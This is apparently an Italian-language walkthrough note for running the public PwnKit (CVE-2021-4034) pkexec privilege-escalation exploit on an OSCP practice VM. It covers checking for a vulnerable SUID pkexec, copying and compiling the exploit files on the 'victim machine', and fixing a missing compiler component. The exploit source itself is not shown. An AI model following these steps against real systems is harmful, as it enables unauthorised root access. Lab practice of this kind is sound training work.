
Non ho scritto questo. Serve solo a documentare la mia esecuzione/istruzione sull'uso dell'exploit, poiché ci sono passaggi molto intricati e complicati da seguire.
I file provengono dalla seguente fonte: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
Ulteriore assistenza sull'esecuzione è disponibile qui: https://ine.com/blog/exploiting-pwnkit-cve-20214034
Questo è stato testato/eseguito sulla VM di pratica Blackgate dell'OSCP: Ubuntu 20.04 Kernel 5.8.0-63-generic
Come capire se si è vulnerabili:
Controlla i SUID disponibili e assicurati che /usr/bin/pkexec sia un binario SUID:
find / -perm -4000 2>/dev/null
Controlla i permessi del binario:
ls -al /usr/bin/pkexec
Controlla la versione di pkexec:
/usr/bin/pkexec --version
Versione vulnerabile trovata su Blackgate: pkexec version 0.105
Assicurati che il compilatore sia disponibile sulla macchina vittima.
gcc version
Copia i file sulla macchina vittima (Makefile, evil-so.c, exploit.c) E compila usando il comando 'make all'. Esegui './exploit'
Controlla la shell
se ricevi un errore che dice cc: error trying to exec 'cc1': execvp: No such file or directory.
usa il comando locate cc1 per trovare i binari:
locate cc1
/lib/modules/4.15.0-20-generic/kernel/drivers/iio/adc/cc10001_adc.ko
/lib/modules/4.15.0-20-generic/vdso/.build-id/a0/297fe29f8038ef50a10a26c9fcf5249ccc1184.debug
/usr/lib/gcc/x86_64-linux-gnu/7/cc1
/usr/lib/gcc/x86_64-linux-gnu/7/libcc1.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0.0.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0
# Poi esporta la posizione nel PATH come riferimento, prova a compilare di nuovo
Jack@oscp:/home/Jack$ export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/7/cc1